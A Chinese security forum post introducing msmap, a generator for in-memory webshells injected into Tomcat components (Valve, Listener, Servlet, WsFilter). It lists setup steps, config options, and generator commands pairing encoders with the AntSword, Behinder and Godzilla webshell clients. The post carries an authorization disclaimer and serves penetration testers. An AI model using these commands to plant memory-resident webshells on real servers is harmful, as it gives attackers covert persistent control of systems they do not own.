安全矩阵

 找回密码
 立即注册
搜索
查看: 1264|回复: 0

内存马生成器 -- msmap​

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-8-20 23:19:25 | 显示全部楼层 |阅读模式




0x01 工具介绍

Msmap是一个内存马生成器,兼容多种容器、组件、编码器、WebShell / Proxy / Killer 和管理客户端。本文中涉及到的所有操作均得到了客户单位的授权,并且在漏洞修复后得以公开。请勿在未授权状态下进行任何形式的渗透测试!!!!


​​




0x02 安装与使用

1、一般使用方法

git clone git@github.com:hosch3n/msmap.git
cd msmap
python generator.py
[注意] 尽量用独一无二的密码;各选项大小敏感
2、进阶使用方法

编辑 config/environment.py

# 自动编译
auto_build = True

# Base64编码类字节码
b64_class = True

# 生成脚本
generate_script = True

# 编译器绝对路径
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
编辑 gist/java/container/tomcat/servlet.py

// Servlet路径匹配规则
private static String pattern = "*.xml";
WsFilter暂不支持自动编译。如果使用了加密编码器,密码需要与路径相同(如/passwd)
3、蚁剑

JSP类型 搭配 default 编码器 | 注入到 Tomcat Valve
python generator.py Java Tomcat Valve RAW AntSword passwd

JSP类型 搭配 aes_128_ecb_pkcs7_padding_md5 编码器 | 注入到 Tomcat Listener
python generator.py Java Tomcat Listener AES128 AntSword passwd

JSP类型 搭配 rc_4_sha256 编码器 | 注入到 Tomcat Servlet
python generator.py Java Tomcat Servlet RC4 AntSword passwd

JSPJS类型 搭配 aes_128_ecb_pkcs7_padding_md5 编码器 | 注入到 Tomcat WsFilter
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd


4、冰蝎

default_aes类型 | 注入到 Tomcat Valve
python generator.py Java Tomcat Valve AES128 Behinder rebeyond


5、哥斯拉

JAVA_AES_BASE64类型 | 注入到 Tomcat Valve
python generator.py Java Tomcat Valve AES128 Godzilla superidol

0x03 下载地址

1、通过项目地址下载

2、关注web安全工具库公众号,后台回复:20220820




 

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-29 21:21 , Processed in 0.013507 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表